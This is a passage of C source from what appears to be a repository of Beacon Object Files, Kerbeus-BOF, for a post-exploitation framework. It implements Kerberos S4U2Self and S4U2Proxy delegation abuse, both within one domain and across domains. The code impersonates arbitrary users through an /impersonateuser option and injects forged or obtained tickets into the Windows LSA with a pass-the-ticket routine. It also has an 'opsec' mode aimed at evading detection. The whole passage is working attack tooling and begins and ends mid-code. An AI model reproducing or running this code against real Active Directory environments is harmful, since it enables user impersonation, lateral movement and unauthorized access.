kirbiBytesSize, FALSE, &asn_KRB_CRED)) return TRUE;\n      if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), retKrbCred)) return TRUE;\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n      uint error_code = 0;\n      if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n      PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n      //        PRINT_OUT(\"\\n\\t[x] Kerberos error : %s\\n\", lookupKrbErrorCode(error_code));\n    }\n    else {\n      PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsn.tagValue);\n    }\n    return TRUE;\n    }\n\n    void CrossDomainS4U(KRB_CRED kirbi, char* targetUser, char* targetSPN, char* domainController, char* altService, char* targetDomainController, char* targetDomain, BOOL ptt) {\n      // extract out the info needed for the TGS-REQ/S4U2Self execution\n      char* userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];\n      char* domain = kirbi.enc_part.ticket_info[0].prealm;\n      Ticket ticket = kirbi.tickets[0];\n      EncryptionKey clientKey = kirbi.enc_part.ticket_info[0].key;\n\n      char* user = MemAlloc(my_strlen(userName) + my_strlen(domain) + 2);\n      MemCpy(user, userName, my_strlen(userName));\n      user[my_strlen(userName)] = '@';\n      MemCpy(user + my_strlen(userName) + 1, domain, my_strlen(domain));\n\n      char* target = MemAlloc(my_strlen(targetUser) + my_strlen(targetDomain) + 2);\n      MemCpy(target, targetUser, my_strlen(targetUser));\n      target[my_strlen(targetUser)] = '@';\n      MemCpy(target + my_strlen(targetUser) + 1, targetDomain, my_strlen(targetDomain));\n\n      char* targetService = MemAlloc(8 + my_strlen(targetDomain));\n      MemCpy(targetService, \"krbtgt/\", 7);\n      MemCpy(targetService + 7, targetDomain, my_strlen(targetDomain));\n\n      //First retrieve our service ticket for the target domains KRBTGT from our DC\n      PRINT_OUT(\"[*] Retrieving referral TGT from %s for foreign domain, %s, KRBTGT service\\n\", domain, targetDomain);\n\n      byte* crossBytes = NULL;\n      int crossBytesLength = 0;\n      if (TGS(userName, domain, ticket, clientKey, targetService, subkey_keymaterial, domainController, NULL, FALSE, FALSE, FALSE, NULL, NULL, FALSE, FALSE, &crossBytes, &crossBytesLength)) return;\n\n      KRB_CRED crossTGS = { 0 };\n      AsnElt   asn_KRB_CRED = { 0 };\n      if (BytesToAsnDecode3(crossBytes, crossBytesLength, FALSE, &asn_KRB_CRED)) return;\n      if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &crossTGS)) return;\n      EncryptionKey crossKey = crossTGS.enc_part.ticket_info[0].key;\n\n      PRINT_OUT(\"[*] Retrieving the S4U2Self referral from %s\\n\", targetDomain);\n      KRB_CRED foreignSelf = { 0 };\n      if (CrossDomainS4U2Self(user, userName, domain, target, targetDomain, targetDomainController, crossTGS.tickets[0], crossKey, subkey_keymaterial, TRUE, NULL, FALSE, FALSE, NULL, &foreignSelf)) return;\n      crossKey = foreignSelf.enc_part.ticket_info[0].key;\n\n      PRINT_OUT(\"[*] Requesting the S4U2Self ticket from %s\\n\", domain);\n      KRB_CRED localSelf = { 0 };\n      if (CrossDomainS4U2Self(user, userName, domain, target, targetDomain, domainController, foreignSelf.tickets[0], crossKey, subkey_keymaterial, FALSE, NULL, FALSE, FALSE, NULL, &localSelf)) return;\n\n      if (targetSPN) {\n        // Using our standard TGT and attaching our local S4U2Self\n        KRB_CRED localS4U2Proxy = { 0 };\n        if (CrossDomainS4U2Proxy(user, userName, domain, targetDomain, targetSPN, domainController, ticket, clientKey, subkey_keymaterial, localSelf.tickets[0], FALSE, FALSE, &localS4U2Proxy)) return;\n        crossKey = crossTGS.enc_part.ticket_info[0].key;\n\n        KRB_CRED foreignS4U2Proxy = { 0 };\n        CrossDomainS4U2Proxy(user, userName, domain, target, targetSPN, targetDomainController, crossTGS.tickets[0], crossKey, subkey_keymaterial, localS4U2Proxy.tickets[0], TRUE, ptt, &foreignS4U2Proxy);\n      }\n    }\n\n    void S4UExecute_Ticket(byte* ticket, char* targetUser, char* targetSPN, char* domainController, char* altService, KRB_CRED tgs, BOOL s, BOOL opsec, BOOL ptt, int encType, char* targetDomainController, char* targetDomain, char* requestDomain) { /*BOOL ptt = FALSE, string keyString = \"\", string impersonateDomain = \"\" */\n      int bytesSize = 0;\n      byte* bytes = base64_decode(ticket, &bytesSize);\n\n      KRB_CRED kirbi = { 0 };\n      AsnElt   asn_KRB_CRED = { 0 };\n      if (BytesToAsnDecode3(bytes, bytesSize, FALSE, &asn_KRB_CRED)) return;\n      if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi)) return;\n\n      if ( targetDomainController ) {\n        // do cross domain S4U --- no support for supplying a TGS due to requiring more than a single ticket\n        PRINT_OUT(\"[*] Performing cross domain constrained delegation\\n\");\n        CrossDomainS4U(kirbi, targetUser, targetSPN, domainController, altService, targetDomainController, targetDomain, ptt);\n      }\n    else {\n        if (tgs.enc_part.ticket_count && targetSPN) {\n          PRINT_OUT(\"[*] Loaded a TGS for %s\\\\%s\\n\", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]);\n          S4U2Proxy(kirbi, targetUser, targetSPN, domainController, altService, tgs, opsec, ptt);\n        }\n        else {\n          KRB_CRED self = { 0 };\n          char* userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];\n          char* domain = targetDomain;\n          targetDomain = kirbi.enc_part.ticket_info[0].prealm;\n          Ticket ticket = kirbi.tickets[0];\n          EncryptionKey clientKey = kirbi.enc_part.ticket_info[0].key;\n\n          if (requestDomain == NULL)\n            requestDomain = targetDomain;\n\n          char* user = MemAlloc(my_strlen(userName) + my_strlen(domain) + 2);\n          MemCpy(user, userName, my_strlen(userName));\n          user[my_strlen(userName)] = '@';\n          MemCpy(user + my_strlen(userName) + 1, domain, my_strlen(domain));\n\n          char* target = MemAlloc(my_strlen(targetUser) + my_strlen(targetDomain) + 2);\n          MemCpy(target, targetUser, my_strlen(targetUser));\n          target[my_strlen(targetUser)] = '@';\n          MemCpy(target + my_strlen(targetUser) + 1, targetDomain, my_strlen(targetDomain));\n\n          if (CrossDomainS4U2Self(user, userName, domain, target, targetDomain, domainController, ticket, clientKey, subkey_keymaterial, FALSE, altService, s, ptt, requestDomain, &self)) return;\n\n          if (targetSPN)\n            S4U2Proxy(kirbi, targetUser, targetSPN, domainController, altService, self, opsec, ptt);\n        }\n      }\n    }\n\n    void ASK_S4U_RUN( PCHAR Buffer, DWORD Length ) {\n      PRINT_OUT(\"[*] Action: S4U\\n\\n\");\n\n      char* domain       = NULL;\n      char* dc           = NULL;\n      int   encType      = subkey_keymaterial;\n      BOOL  ptt          = FALSE;\n      BOOL  opsec        = FALSE;\n      BOOL  pac          = TRUE;\n      BOOL  self         = FALSE;\n      char* targetSPN    = NULL;\n      byte* ticket       = NULL;\n      byte* tgs          = NULL;\n      char* targetDomain = NULL;\n      char* targetdc     = NULL;\n      char* altSname     = NULL;\n      char* targetUser   = NULL;\n\n      for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/domain:\", 8, &domain );\n        i += GetStrParam(Buffer + i, Length - i, \"/ticket:\", 8, &ticket );\n        i += GetStrParam(Buffer + i, Length - i, \"/dc:\", 4, &dc );\n        i += GetStrParam(Buffer + i, Length - i, \"/service:\", 9, &targetSPN );\n        i += GetStrParam(Buffer + i, Length - i, \"/tgs:\", 5, &tgs );\n        i += GetStrParam(Buffer + i, Length - i, \"/altservice:\", 12, &altSname );\n        i += GetStrParam(Buffer + i, Length - i, \"/impersonateuser:\", 17, &targetUser );\n        i += GetStrParam(Buffer + i, Length - i, \"/targetdomain:\", 14, &targetDomain );\n        i += GetStrParam(Buffer + i, Length - i, \"/targetdc:\", 10, &targetdc );\n        i += IsSetParam(Buffer + i, Length - i, \"/ptt\", 4, &ptt );\n        i += IsSetParam(Buffer + i, Length - i, \"/opsec\", 6, &opsec );\n        i += IsSetParam(Buffer + i, Length - i, \"/nopac\", 6, &pac );\n        i += IsSetParam(Buffer + i, Length - i, \"/self\", 5, &self );\n      }\n\n      pac = !pac;\n\n      GetDomainInfo(&domain, &dc);\n      if (domain == NULL || dc == NULL) {\n        PRINT_OUT(\"[X] Could not retrieve domain information!\\n\\n\");\n        return;\n      }\n\n      if (targetUser && tgs) {\n        PRINT_OUT(\"\\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\\n\");\n        return;\n      }\n\n      KRB_CRED kirbi_tgs = { 0 };\n      if (tgs) {\n        int bytesTgsSize = 0;\n        byte* bytesTgs = base64_decode(tgs, &bytesTgsSize);\n\n        AsnElt   asn_KRB_CRED = { 0 };\n        if (BytesToAsnDecode3(bytesTgs, bytesTgsSize, FALSE, &asn_KRB_CRED)) return;\n\n        AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi_tgs);\n\n        targetUser = kirbi_tgs.enc_part.ticket_info[0].pname.name_string[0];\n      }\n      if (!targetUser && !tgs) {\n        PRINT_OUT(\"\\n[X] You must supply a /tgs or /impersonateuser to impersonate!\\n\");\n        return;\n      }\n      if (!targetSPN && tgs) {\n        PRINT_OUT(\"\\n[X] If a /tgs is supplied, you must also supply a /service !\\n\");\n        return;\n      }\n\n      if( !targetDomain  && !tgs) {\n        PRINT_OUT(\"\\n[X] A /targetdomain or /tgs needs to be supplied for S4U across domain!\\n\");\n        return;\n      }\n\n      if (ticket)\n        S4UExecute_Ticket(ticket, targetUser, targetSPN, dc, altSname, kirbi_tgs, self, opsec, ptt, encType, targetdc, targetDomain, domain); /*impersonateDomain*/\n                                                                                                                                                                                                                                                                                                  else\n        PRINT_OUT(\"\\n[X] A /ticket:X needs to be supplied for S4U!\\n\");\n    }\n\n    VOID go( IN PCHAR Buffer, IN ULONG Length ) {\n      INIT_BOF();\n\n      datap parser;\n      BeaconDataParse(&parser, Buffer, Length);\n      DWORD PARAM_SIZE = 0;\n      PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n      if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n      else\n        ASK_S4U_RUN( PARAM, PARAM_SIZE );\n\n      FreeBank();\n\n      END_BOF();\n    }"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/s4u/s4u.c",
    "content": "#include \"_include/asn_encode.c\"\n#include \"_include/asn_decode.c\"\n#include \"_include/crypt_b64.c\"\n#include \"_include/crypt_checksum.c\"\n#include \"_include/crypt_dec.c\"\n#include \"_include/connection.c\"\n\nvoid DisplayTicket( KRB_CRED cred, int indentLevel ) {\n    DateTime starttime = cred.enc_part.ticket_info[0].starttime;\n    DateTime endtime = cred.enc_part.ticket_info[0].endtime;\n    DateTime renew_till = cred.enc_part.ticket_info[0].renew_till;\n    uint flags = cred.enc_part.ticket_info[0].flags;\n\n    if (cred.enc_part.ticket_info[0].sname.name_count == 1)\n        PRINT_OUT(\"  ServiceName              :  %s\\n\", cred.enc_part.ticket_info[0].sname.name_string[0]);\n    else if (cred.enc_part.ticket_info[0].sname.name_count > 1)\n        PRINT_OUT(\"  ServiceName              :  %s/%s\\n\", cred.enc_part.ticket_info[0].sname.name_string[0], cred.enc_part.ticket_info[0].sname.name_string[1]);\n\n    PRINT_OUT(\"  ServiceRealm             :  %s\\n\", cred.enc_part.ticket_info[0].srealm);\n\n    if (cred.enc_part.ticket_info[0].pname.name_count == 1)\n        PRINT_OUT(\"  UserName                 :  %s\\n\", cred.enc_part.ticket_info[0].pname.name_string[0]);\n    else if (cred.enc_part.ticket_info[0].pname.name_count > 1)\n        PRINT_OUT(\"  UserName                 :  %s@%s\\n\", cred.enc_part.ticket_info[0].pname.name_string[0], cred.enc_part.ticket_info[0].pname.name_string[1]);\n\n    PRINT_OUT(\"  UserRealm                :  %s\\n\", cred.enc_part.ticket_info[0].prealm);\n    PRINT_OUT(\"  StartTime (UTC)          :  %02d.%02d.%04d %d:%d:%d\\n\", starttime.day, starttime.month, starttime.year, starttime.hour, starttime.minute, starttime.second);\n    PRINT_OUT(\"  EndTime (UTC)            :  %02d.%02d.%04d %d:%d:%d\\n\", endtime.day, endtime.month, endtime.year, endtime.hour, endtime.minute, endtime.second);\n    PRINT_OUT(\"  RenewTill (UTC)          :  %02d.%02d.%04d %d:%d:%d\\n\", renew_till.day, renew_till.month, renew_till.year, renew_till.hour, renew_till.minute, renew_till.second);\n\n    PRINT_OUT(\"  Flags                    :  \");\n    if (flags & reserved)\t\tPRINT_OUT(\"reserved \");\n    if (flags & forwardable)\tPRINT_OUT(\"forwardable \");\n    if (flags & forwarded)\t\tPRINT_OUT(\"forwarded \");\n    if (flags & proxiable)\t\tPRINT_OUT(\"proxiable \");\n    if (flags & proxy)\t\t\tPRINT_OUT(\"proxy \");\n    if (flags & may_postdate)\tPRINT_OUT(\"may_postdate \");\n    if (flags & postdated)\t\tPRINT_OUT(\"postdated \");\n    if (flags & invalid)\t\tPRINT_OUT(\"invalid \");\n    if (flags & renewable)\t\tPRINT_OUT(\"renewable \");\n    if (flags & initial)\t\tPRINT_OUT(\"initial \");\n    if (flags & pre_authent)\tPRINT_OUT(\"pre_authent \");\n    if (flags & hw_authent)\t\tPRINT_OUT(\"hw_authent \");\n    if (flags & ok_as_delegate) PRINT_OUT(\"ok_as_delegate \");\n    if (flags & anonymous)\t\tPRINT_OUT(\"anonymous \");\n    if (flags & enc_pa_rep)\t\tPRINT_OUT(\"enc_pa_rep \");\n    if (flags & reserved1)\t\tPRINT_OUT(\"reserved1 \");\n    PRINT_OUT(\"\\n\");\n\n    if (cred.enc_part.ticket_info[0].key.key_type == rc4_hmac)\n        PRINT_OUT(\"  KeyType                  :  rc4_hmac\\n\");\n    else if (cred.enc_part.ticket_info[0].key.key_type == aes128_cts_hmac_sha1)\n        PRINT_OUT(\"  KeyType                  :  aes128_cts_hmac_sha1\\n\");\n    else if (cred.enc_part.ticket_info[0].key.key_type == aes256_cts_hmac_sha1)\n        PRINT_OUT(\"  KeyType                  :  aes256_cts_hmac_sha1\\n\");\n}\n\nvoid DescribeTicket(byte* ticket_b64) {\n    int bytesSize = 0;\n    byte* bytes = base64_decode(ticket_b64, &bytesSize);\n\n    KRB_CRED kirbi = { 0 };\n    AsnElt   asn_KRB_CRED = { 0 };\n    if (BytesToAsnDecode3(bytes, bytesSize, false, &asn_KRB_CRED)) return;\n    if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi)) return;\n    DisplayTicket(kirbi, 2);\n}\n\n\nHANDLE GetCurrentToken(DWORD DesiredAccess) {\n    HANDLE hCurrentToken = NULL;\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken))\n        if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken))\n                return NULL;\n    return hCurrentToken;\n}\n\nLUID GetCurrentLUID(HANDLE TokenHandle) {\n    TOKEN_STATISTICS tokenStats;\n    DWORD tokenSize;\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))\n        return (LUID) { 0 };\n    return tokenStats.AuthenticationId;\n}\n\nBOOL IsSystem(HANDLE TokenHandle) {\n    UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];\n    PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;\n    ULONG cbTokenUser;\n    SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;\n    PSID pSystemSid = NULL;\n    BOOL bSystem = FALSE;\n\n    // Try to open the token of the current thread first\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) {\n        // If there is no thread token, fall back to the process token\n        if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) {\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) {\n                return FALSE;\n            }\n        } else {\n            return FALSE;\n        }\n    }\n\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {\n        return FALSE;\n    }\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {\n        return FALSE;\n    }\n\n    bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);\n\n    ADVAPI32$FreeSid(pSystemSid);\n\n    return bSystem;\n}\n\nBOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {\n    HANDLE hLsaLocal = NULL;\n    ULONG  mode = 0;\n    bool   status = TRUE;\n    if (highIntegrity) {\n        STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = \"Winlogon\" };\n        status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);\n    }\n    else {\n        status = SECUR32$LsaConnectUntrusted(&hLsaLocal);\n    }\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nint my_isdigit(int c) {\n    return (c >= '0' && c <= '9');\n}\n\nint my_islower(int c) {\n    return (c >= 'a' && c <= 'z');\n}\n\nlong int my_strtol(const char* str, char** endptr, int base) {\n    long int result = 0;\n    int sign = 1;\n\n    if (*str == '-' || *str == '+') {\n        sign = (*str == '-') ? -1 : 1;\n        str++;\n    }\n\n    while (my_isdigit(*str) ||\n           (base == 16 && (*str >= 'a' && *str <= 'f')) ||\n           (base == 16 && (*str >= 'A' && *str <= 'F'))) {\n        int digit = 0;\n        if (my_isdigit(*str)) {\n            digit = *str - '0';\n        }\n        else if (base == 16) {\n            digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10));\n        }\n\n        if (digit >= base)\n            break;\n\n        if (result > (LONG_MAX - digit) / base) {\n            if (sign == 1)\n                return LONG_MAX;\n            else\n                return LONG_MIN;\n        }\n\n        result = result * base + digit;\n        str++;\n    }\n\n    if (endptr != NULL)\n        *endptr = (char*)str;\n\n    return result * sign;\n}\n\nvoid PTT(char* luid, byte* ticket) {\n    HANDLE hToken = GetCurrentToken(TOKEN_QUERY);\n    LUID   currentLuid = GetCurrentLUID(hToken);\n    LUID   targetLuid = { 0 };\n    bool   IsHighIntegrity = IsSystem(hToken);\n\n    if (luid) {\n        targetLuid.LowPart = my_strtol(luid, NULL, 16);\n        if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) {\n            PRINT_OUT(\"[x] Invalid luid\\n\");\n            return;\n        }\n    }\n    else {\n        targetLuid = currentLuid;\n    }\n\n    if (!IsHighIntegrity && currentLuid.LowPart != targetLuid.LowPart) {\n        PRINT_OUT(\"[X] You need to be in SYSTEM integrity.\\n\");\n        return;\n    }\n\n    if (currentLuid.LowPart != targetLuid.LowPart)\n        IsHighIntegrity = FALSE;\n\n    HANDLE hLsa;\n    if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return;\n\n    ULONG authPackage;\n    LSA_STRING krbAuth = { .Buffer = \"kerberos\",.Length = 8,.MaximumLength = 9 };\n    if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) {\n\n        int decode_ticket_size = 0;\n        byte* decode_ticket = base64_decode(ticket, &decode_ticket_size);\n\n        int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decode_ticket_size;\n        KERB_SUBMIT_TKT_REQUEST* submitRequest = MemAlloc(submitSize);\n\n        submitRequest->MessageType = KerbSubmitTicketMessage;\n        submitRequest->KerbCredSize = decode_ticket_size;\n        submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);\n        if (IsHighIntegrity)\n            submitRequest->LogonId = targetLuid;\n        else\n            submitRequest->LogonId = (LUID){ 0 };\n\n        MemCpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decode_ticket, decode_ticket_size);\n\n        NTSTATUS protocolStatus = 0;\n        ULONG    responseSize = 0;\n        void* response = 0;\n        if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus) || protocolStatus)\n            PRINT_OUT(\"\\n[X] Ticket not imported.\\n\");\n        else\n        PRINT_OUT(\"\\n[+] Ticket successfully imported.\\n\");\n    }\n    SECUR32$LsaDeregisterLogonProcess(hLsa);\n}\n\n\n\n\nbyte* ADRestrictionEntry_buildTokenStruct(uint flags, uint tokenIL) {\n    byte* data = MemAlloc(40);\n\n    data[0] = (byte)(flags >> 24);\n    data[1] = (byte)(flags >> 16);\n    data[2] = (byte)(flags >> 8);\n    data[3] = (byte)(flags);\n    data[4] = (byte)(tokenIL >> 24);\n    data[5] = (byte)(tokenIL >> 16);\n    data[6] = (byte)(tokenIL >> 8);\n    data[7] = (byte)(tokenIL);\n    ADVAPI32$SystemFunction036(data + 8, 32);\n    return data;\n}\n\n\n\nBOOL New_PA_DATA_s4uX509user(EncryptionKey key, char* name, char* realm, uint nonce, int eType, PA_DATA* pa_data) {\n\n    PA_S4U_X509_USER* pa = MemAlloc(sizeof(PA_S4U_X509_USER));\n    pa->user_id.nonce = nonce;\n    pa->user_id.options = 0x20000000;\n    if (my_copybuf(&(pa->user_id.crealm), realm, my_strlen(realm) + 1)) return TRUE;\n    pa->user_id.cname.name_type = PRINCIPAL_NT_ENTERPRISE;\n    pa->user_id.cname.name_count = 1;\n    pa->user_id.cname.name_string = MemAlloc(sizeof(void*) * pa->user_id.cname.name_count);\n    if (my_copybuf(&(pa->user_id.cname.name_string[0]), name, my_strlen(name) + 1)) return TRUE;\n\n    AsnElt userIDAsn = { 0 }, userIDSeq = { 0 };\n    if (AsnS4UUserIDEncode(&(pa->user_id), &userIDAsn)) return TRUE;\n    if (Make3(ASN_SEQUENCE, &userIDAsn, 1, &userIDSeq)) return TRUE;\n\n    int userIDBytes_length = ValueLength(&userIDSeq);\n    byte* userIDBytes = MemAlloc(userIDBytes_length);\n    userIDBytes_length = EncodeValue(&userIDSeq, 0, userIDBytes_length, userIDBytes, 0);\n\n    byte* cksumBytes = NULL;\n    int cksumBytesLength = 0;\n\n    if (eType == aes256_cts_hmac_sha1)\n        if (checksum(key.key_value, key.key_size, userIDBytes, userIDBytes_length, KERB_CHECKSUM_HMAC_SHA1_96_AES256, KRB_KEY_USAGE_PA_S4U_X509_USER, &cksumBytes, &cksumBytesLength)) return TRUE;\n    if (eType == aes128_cts_hmac_sha1)\n        if (checksum(key.key_value, key.key_size, userIDBytes, userIDBytes_length, KERB_CHECKSUM_HMAC_SHA1_96_AES128, KRB_KEY_USAGE_PA_S4U_X509_USER, &cksumBytes, &cksumBytesLength)) return TRUE;\n    if (eType == rc4_hmac)\n        if (checksum(key.key_value, key.key_size, userIDBytes, userIDBytes_length, KERB_CHECKSUM_RSA_MD4, KRB_KEY_USAGE_PA_S4U_X509_USER, &cksumBytes, &cksumBytesLength)) return TRUE;\n\n    pa->cksum.cksumtype = KERB_CHECKSUM_HMAC_SHA1_96_AES256;\n    pa->cksum.checksum_length = cksumBytesLength;\n    pa->cksum.checksum = cksumBytes;\n\n    pa_data->type = PADATA_PA_S4U_X509_USER;\n    pa_data->value = pa;\n    return FALSE;\n}\n\nBOOL New_PA_DATA_s4u2self(EncryptionKey key, char* name, char* realm, PA_DATA* pa_data) {\n    int realm_length = my_strlen(realm);\n    int name_length = my_strlen(name);\n\n    PA_FOR_USER* pa = MemAlloc(sizeof(PA_FOR_USER));\n\n    pa->userName.name_count = 1;\n    pa->userName.name_type = PRINCIPAL_NT_ENTERPRISE;\n    pa->userName.name_string = MemAlloc(sizeof(void*) * pa->userName.name_count);\n    if (!pa->userName.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n\n    if (my_copybuf(&(pa->userName.name_string[0]), name, name_length + 1)) return TRUE;\n    if (my_copybuf(&(pa->userRealm), realm, realm_length + 1)) return TRUE;\n    if (my_copybuf(&(pa->auth_package), \"Kerberos\", 9)) return TRUE;\n\n    byte nameTypeBytes[] = { 0,0,0,0 };\n    nameTypeBytes[0] = 0xa;\n    byte* finalBytes = MemAlloc(4 + name_length + realm_length + 8);\n    MemCpy(finalBytes, nameTypeBytes, 4);\n    MemCpy(finalBytes + 4, name, name_length);\n    MemCpy(finalBytes + 4 + name_length, realm, realm_length);\n    MemCpy(finalBytes + 4 + name_length + realm_length, pa->auth_package, 8);\n\n    byte* outBytes = NULL;\n    int outBytesLength = 0;\n    if (checksum(key.key_value, key.key_size, finalBytes, 4 + name_length + realm_length + 8, KERB_CHECKSUM_HMAC_MD5, KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT, &outBytes, &outBytesLength)) return TRUE;\n\n    pa->cksum.cksumtype = KERB_CHECKSUM_HMAC_MD5;\n    pa->cksum.checksum_length = outBytesLength;\n    pa->cksum.checksum = outBytes;\n\n    pa_data->type = PADATA_S4U2SELF;\n    pa_data->value = pa;\n    return FALSE;\n}\n\nBOOL New_PA_DATA_KeyListReq(int eType, PA_DATA* pa_data) {\n    PA_KEY_LIST_REQ* pa = MemAlloc(sizeof(PA_KEY_LIST_REQ));\n    pa->Enctype = eType;\n\n    pa_data->type = PADATA_KEY_LIST_REQ;\n    pa_data->value = pa;\n    return FALSE;\n}\n\nBOOL New_PA_DATA_options(BOOL claims, BOOL branch, BOOL fullDC, BOOL rbcd, PA_DATA* pa_data) {\n    PA_PAC_OPTIONS* pac = MemAlloc(sizeof(PA_PAC_OPTIONS));\n    if (claims) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 8);\n    if (branch) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 4);\n    if (fullDC) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 2);\n    if (rbcd) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 1);\n    pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] * 0x10);\n\n    pa_data->type = PADATA_PA_PAC_OPTIONS;\n    pa_data->value = pac;\n    return FALSE;\n}\n\nBOOL New_PA_DATA(char* crealm, char* cname, Ticket providedTicket, EncryptionKey clientKey, BOOL opsec, byte* req_body, int req_body_length, PA_DATA* pa_data) {\n\n    AP_REQ* ap_req = MemAlloc(sizeof(AP_REQ));\n    if (!ap_req) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    ap_req->pvno = 5;\n    ap_req->msg_type = KERB_AP_REQ;\n    ap_req->ap_options = 0;\n    ap_req->ticket = providedTicket;\n    ap_req->keyUsage = KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR;\n    ap_req->key = clientKey;\n\n    DateTime dt = GetGmTimeAdd(0);\n\n    if (my_copybuf(&(ap_req->authenticator.crealm), crealm, my_strlen(crealm) + 1)) return TRUE;\n\n    ap_req->authenticator.authenticator_vno = 5;\n    ap_req->authenticator.ctime = dt;\n    ap_req->authenticator.cname.name_count = 1;\n    ap_req->authenticator.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    ap_req->authenticator.cname.name_string = MemAlloc(sizeof(void*) * ap_req->authenticator.cname.name_count);\n    if (!ap_req->authenticator.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    if (my_copybuf(&(ap_req->authenticator.cname.name_string[0]), cname, my_strlen(cname) + 1)) return TRUE;\n\n    if (opsec) {\n        ADVAPI32$SystemFunction036(&(ap_req->authenticator.seq_number), 4);\n        PRINT_OUT(\"[+] Sequence number is: %u\\n\", ap_req->authenticator.seq_number);\n        ADVAPI32$SystemFunction036(&(ap_req->authenticator.cusec), 4);\n        ap_req->authenticator.cusec = ap_req->authenticator.cusec % 1000000;\n\n        if (req_body) {\n            ap_req->authenticator.cksum.cksumtype = KERB_CHECKSUM_RSA_MD5;\n            ap_req->authenticator.cksum.checksum_length = req_body_length;\n            ap_req->authenticator.cksum.checksum = req_body;\n        }\n    }\n\n    pa_data->type = PADATA_AP_REQ;\n    pa_data->value = ap_req;\n    return FALSE;\n}\n\nBOOL NewTGS_REP(AsnElt asn_TGS_REP, TGS_REP* tgs_rep) {\n    if (asn_TGS_REP.tagValue != KERB_TGS_REP) {\n        PRINT_OUT(\"TGS-REP tag value should be 13\");\n        return TRUE;\n    }\n    if ((asn_TGS_REP.subCount != 1) || (asn_TGS_REP.sub[0].tagValue != 16)) {\n        PRINT_OUT(\"First TGS-REP sub should be a sequence\");\n        return TRUE;\n    }\n\n    // extract the KDC-REP out\n    AsnElt* kdc_rep = asn_TGS_REP.sub[0].sub;\n    for (int i = 0; i < asn_TGS_REP.sub[0].subCount; i++) {\n        int tagValue = kdc_rep[i].tagValue;\n        if ( tagValue == 0 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->pvno))) return TRUE;\n        }\n        if ( tagValue == 1 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->msg_type))) return TRUE;\n        }\n        if ( tagValue == 2 ) {\n            if (AsnGetPaData(&(kdc_rep[i].sub[0]), &(tgs_rep->padata))) return TRUE;\n        }\n        if ( tagValue == 3 ) {\n            if (AsnGetString(&(kdc_rep[i].sub[0]), &(tgs_rep->crealm))) return TRUE;\n        }\n        if ( tagValue == 4 ) {\n            if (AsnGetPrincipalName(&(kdc_rep[i].sub[0]), &(tgs_rep->cname))) return TRUE;\n        }\n        if ( tagValue == 5 ) {\n            if 